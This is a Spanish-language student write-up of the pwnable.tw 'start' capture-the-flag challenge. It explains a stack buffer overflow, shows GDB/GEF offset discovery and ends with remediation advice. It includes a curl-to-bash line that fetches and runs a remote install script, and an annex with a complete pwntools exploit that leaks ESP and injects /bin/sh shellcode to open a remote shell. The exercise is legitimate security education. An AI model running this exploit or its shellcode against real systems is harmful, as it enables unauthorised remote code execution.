TRABAJO DE SUBIDA DE
NOTA: PWNABLE #1
Explotación de ejecutable mediante
decompiladores
Descripción breve
En este documento se describen todos los pasos, procedimientos y técnicas para realizar con
éxito un exploit de un ejecutable binario utilizando GDB.
Luis Muñiz García
[email protected]Contenido
Introducción .................................................................................................................................. 2
Ejemplo...................................................................................................................................... 2
Caso de uso: Pwnable.tw challenge #1 ..................................................................................... 2
Paso 1: Descarga y explicación de las herramientas de trabajo. .............................................. 2
Paso 2: Explorando las características del ejecutable. .............................................................. 4
Paso 3: Explorando los límites de los registros y la pila. ........................................................... 6
Paso 4: Búsqueda del patrón de $esp ....................................................................................... 7
Paso 5: Explotación y obtención de la bandera. ....................................................................... 8
Conclusiones ............................................................................................................................... 10
Remediación............................................................................................................................ 10
Anexo .......................................................................................................................................... 11
Anexo A: Script de Python modificado.................................................................................... 11
Ilustración 1: Ejemplo de buffer overflow. ................................................................................... 2
Ilustración 2: Toma de contacto con el ejecutable. ...................................................................... 3
Ilustración 3: Invocación del GEF. ................................................................................................. 4
Ilustración 4: Medidas de seguridad del ejecutable. .................................................................... 4
Ilustración 5: Disección del ejecutable 'start'. .............................................................................. 5
Ilustración 6: Ataque por fuerza bruta con la letra 'A'. ................................................................. 5
Ilustración 7: Estado de la pila tras el primer intento de fuerza bruta. ........................................ 6
Ilustración 8: Patrón generado...................................................................................................... 6
Ilustración 9: Nueva entrada por teclado con el patrón de 40B. .................................................. 6
Ilustración 10: Estado de la pila tras inserción de patrón. ............................................................ 7
Ilustración 11: Localización de la posición del retc. ...................................................................... 7
Ilustración 12: Verificación de la hipótesis introduciendo 4 caracteres 'B'. ................................. 8
Ilustración 13: Descarga de las herramientas desde el repositorio remoto. ................................ 8
Ilustración 14: Localización de la posición de memoria del ret mediante uf _start. .................... 9
Ilustración 15: Obtención del flag. .............................................................................................. 10
1
Introducción
Un buffer overflow (o desbordamiento de búfer en español) es una vulnerabilidad de seguridad
que ocurre cuando un programa intenta escribir datos en un búfer de memoria y supera el
espacio asignado para ese búfer. Esto puede provocar que los datos sobrantes se escriban en
áreas adyacentes de memoria que contienen información sensible o código ejecutable. La
siguiente imagen de PurpleSec nos ilustra un ejemplo conceptual de buffer overflow.
Ilustración 1: Ejemplo de buffer overflow.
Un atacante puede aprovechar esta vulnerabilidad para enviar datos maliciosos diseñados para
explotar el desbordamiento de búfer y alterar el funcionamiento normal del programa. Esto
podría permitir que el atacante tome el control del programa o incluso del sistema operativo
subyacente.
Ejemplo
Como se veía en la ilustración anterior, si un programa utiliza un búfer para almacenar
contraseñas y el búfer no tiene un tamaño máximo definido adecuado, un atacante podría enviar
una cadena de caracteres lo suficientemente larga como para sobrescribir la memoria adyacente
y cambiar el valor de una contraseña o incluso el flujo de ejecución del programa. En el caso de
uso recogido en este documento, veremos cómo explotamos un ejecutable para establecer una
conexión remota con la máquina del desafío.
Caso de uso: Pwnable.tw challenge #1
Paso 1: Descarga y explicación de las herramientas de trabajo.
Tras descargar el ejecutable de comienzo del CTF de la web, procedemos a descargar la
herramienta GEF empleando el siguiente comando.
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
GEF (GDB Enhanced Features) es un complemento de GDB (GNU Debugger) que mejora la
funcionalidad y la facilidad de uso del depurador de código abierto. GDB es una herramienta de
depuración muy potente y flexible que se utiliza comúnmente en el desarrollo de software, pero
su interfaz de línea de comandos tiene cierta propensión a ser árida.
2
GEF se creó para mejorar la experiencia de depuración de GDB al agregar una serie de
características nuevas y útiles. Algunas de las mejoras que introduce GEF se listan a
continuación:
Comandos adicionales: GEF agrega muchos comandos nuevos que no están disponibles en GDB
por defecto, lo que permite a los usuarios interactuar con el depurador de manera más intuitiva
y eficiente. Por ejemplo, los comandos context, vmmap, ropgadget y heap proporcionan
información útil sobre el contexto de depuración, la asignación de memoria, las herramientas
de gadgets ROP y el estado de la memoria heap, respectivamente.
Mejoras en la visualización: GEF agrega una serie de mejoras visuales a GDB, como la capacidad
de resaltar ciertos valores en la salida del comando, hacer coincidir patrones en la salida del
comando, resaltar el código fuente y las instrucciones de ensamblaje y mostrar gráficos útiles
para visualizar la pila y otras estructuras de datos.
Automatización de tareas: GEF también proporciona una serie de funciones de automatización
para simplificar las tareas de depuración repetitivas. Por ejemplo, el comando alias permite a
los usuarios crear atajos para secuencias de comandos de GDB comunes, mientras que el
comando gef config permite a los usuarios configurar GEF para su uso personalizado.
En resumen, GEF es una herramienta muy útil para los desarrolladores de software que trabajan
con GDB, ya que mejora significativamente la experiencia de depuración y proporciona una serie
de características útiles y potentes que no están disponibles en GDB por defecto.
Así pues, montamos un directorio para el desarrollo de este laboratorio, y exploramos el
ejecutable. Vemos que tiene permisos 644, así que le añadimos el permiso de ejecución.
Lanzamos el programa y se nos muestra la siguiente salida pro pantalla.
Ilustración 2: Toma de contacto con el ejecutable.
3
Paso 2: Explorando las características del ejecutable.
Al parecer, el ejecutable espera que se le introduzca una cadena. Tras introducir varias cadenas
de prueba, vemos que no hay una evolución aparente en el comportamiento del programa, así
que detenemos su ejecución pulsando CTRL+C.
Arrancamos GEF y lo ejecutamos contra el programa del desafío, tal y como se muestra a
continuación.
Ilustración 3: Invocación del GEF.
Una comprobación sencilla e interesante de hacer es si el ejecutable posee alguna contramedida
de seguridad. Para ello, utilizamos un comando en desuso: checksec, mostrando la siguiente
salida por pantalla.
Ilustración 4: Medidas de seguridad del ejecutable.
A priori, parece que no existen medidas de seguridad para este ejecutable. Seguidamente,
vamos a diseccionar este ejecutable tecleando “start”.
4
Ilustración 5: Disección del ejecutable 'start'.
Podemos ver que este programa tiene dos llamadas al sistema: una para hacer write (0x04) en
el buffer, y otra para leer (read) la entrada del periférico asociado al teclado (0x03). Así pues,
nuestro objetivo será desbordar la pila para obtener acceso a las llamadas del sistema.
Probamos por fuerza bruta a introducir el carácter ‘A’, para ver en qué registro queda recogida
la entrada del teclado.
Ilustración 6: Ataque por fuerza bruta con la letra 'A'.
Produciendo la siguiente salida por pantalla.
5
Ilustración 7: Estado de la pila tras el primer intento de fuerza bruta.
Paso 3: Explorando los límites de los registros y la pila.
A partir de aquí, podríamos empezar a generar patrones, con el objeto de identificar la
delimitación y el comienzo de la pila. Probamos a generar 40 Bytes de caracteres tal y como se
muestra por pantalla.
Ilustración 8: Patrón generado.
Y repetimos la operación de entrada.
Ilustración 9: Nueva entrada por teclado con el patrón de 40B.
Tras ello, observamos cómo quedan los registros y el estado de la pila, tal y como se muestra
en la siguiente ilustración.
6
Ilustración 10: Estado de la pila tras inserción de patrón.
En rojo quedan subrayados los registros que delatan nuestra entrada de teclado. A partir de
aquí, sería interesante establecer una búsqueda de patrones sustentada en los registros esp,
para localizar aproximadamente a qué altura está el return de la llamada del sistema
(retpc).
Paso 4: Búsqueda del patrón de $esp
Para ello, tecleamos pattern search $esp, dándonos la siguiente salida por pantalla.
Ilustración 11: Localización de la posición del retc.
Es decir, que, aproximadamente, el retpc estará a 20+4 B respecto al buffer. Suponiendo válida
esa hipótesis, probamos a introducir una cadena con caracteres ‘A’ y los últimos caracteres ‘B’
para ver la delimitación en la zona de memoria.
Utilizando el siguiente comando, generaremos una cadena con 20 ‘A’ y 4 ‘B’, para introducirla
por teclado al ejecutable.
pi print(‘A’*20 + ‘B’ *4)
Probamos a introducirla, y vemos cómo se genera la siguiente salida por pantalla.
7
Ilustración 12: Verificación de la hipótesis introduciendo 4 caracteres 'B'.
Paso 5: Explotación y obtención de la bandera.
Ahora que tenemos un control sobre el registro $pc, tenemos dos maneras de proceder:
1. Podemos utilizar una plantilla personalizada para efectuar el ataque.
2. Utilizamos algún script que esté consolidado.
Se intentó abordar la primera alternativa, pero daban muchos problemas de configuración. La
plantilla se encontraba en el siguiente repositorio. La plantilla se generaba a partir del script
‘skel.py’, parametrizando las conexiones en remoto contra la máquina del desafío, y pasándole
como parámetro la dirección de memoria del ret. En la siguiente ilustración se aprecia cómo se
intentó abordar la opción 1.
Ilustración 13: Descarga de las herramientas desde el repositorio remoto.
No obstante, aún nos queda por averiguar cuál es la posición de memoria del ret, necesaria
para poder diseñar un exploit. Para ello, hacemos uso el comando uf _start, generando
la siguiente salida por pantalla.
8
Ilustración 14: Localización de la posición de memoria del ret mediante uf _start.
Anotamos esa posición de memoria y abordamos la alternativa 2. Para ello, se hizo uso del script
disponible en el siguiente enlace.
este código es un script de Python que utiliza la biblioteca "pwn" para conectarse a un servidor
remoto y explotar un desafío de hacking.
Este script contiene una función llamada "leak_esp" que intenta descubrir la dirección de
memoria actual del puntero de pila (ESP) en el servidor remoto utilizando una técnica de fuga
de memoria. La función construye una cadena de caracteres "payload" que contiene un valor de
dirección específico para un código ensamblador que carga el valor actual de ESP en un registro
de propósito general y lo devuelve. Luego, el valor de ESP se extrae de la respuesta del servidor
y se devuelve.
El código también define una variable llamada "shellcode", que contiene un pequeño fragmento
de código ensamblador que ejecuta una shell de Unix. Este shellcode se utiliza más adelante en
el script para explotar la vulnerabilidad del servidor remoto.
El código principal del script establece la arquitectura del procesador como "i386", se conecta al
servidor remoto en el puerto 10000 y llama a la función "leak_esp" para obtener la dirección
actual de ESP. Luego, el script construye otro "payload" que contiene la dirección de memoria
de ESP más un desplazamiento específico y el shellcode. Finalmente, el "payload" se envía al
servidor remoto y se utiliza la función "interactive" de "pwn" para interactuar con el shell
remoto.
Tras probarlo, vemos que nos daba un error por pantalla, que consistía en la concatenación de
objetos tipo Bytes con String, inválida en Python. Para solventar este hecho, se procedió a
codificar las cadenas de caracteres como objetos de tipo Byte. El código del programa ya
parcheado se encuentra disponible en el Anexo A. Los arreglos efectuados se encuentran
subrayados en rojo.
Así pues, arrancamos el script, devolviéndonos la siguiente salida por pantalla.
9
Ilustración 15: Obtención del flag.
Conclusiones
Remediación
Para prevenir este tipo de ataques, es importante que los desarrolladores de software definan
límites de tamaño adecuados para todos los búferes utilizados en sus programas y que
implementen técnicas de validación de entrada para garantizar que solo se procesen datos
seguros y confiables. Además, es fundamental que los usuarios mantengan sus sistemas
actualizados con las últimas correcciones de seguridad para mitigar posibles vulnerabilidades de
software conocidas.
10
Anexo
Anexo A: Script de Python modificado.
from pwn import *
def leak_esp(r):
address_1 = p32(0x08048087)
“““mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80; ”””
payload = 'A'*20
payload = payload.encode() + address_1
print r.recvuntil('CTF:')
r.send(payload)
esp = u32(r.recv()[:4])
print "Address of ESP: ", hex(esp)
return esp
shellcode = asm('\n'.join([
'push %d' % u32('/sh\0'),
'push %d' % u32('/bin'),
'xor edx, edx',
'xor ecx, ecx',
'mov ebx, esp',
'mov eax, 0xb',
'int 0x80',
]))
if __name__ == "__main__":
context.arch = 'i386'
r = remote('chall.pwnable.tw', 10000)
#gdb.attach(r)
esp = leak_esp(r)
payload = "A"*20
payload = payload.encode()+ p32(esp + 20) + shellcode
r.send(payload)
r.interactive()
11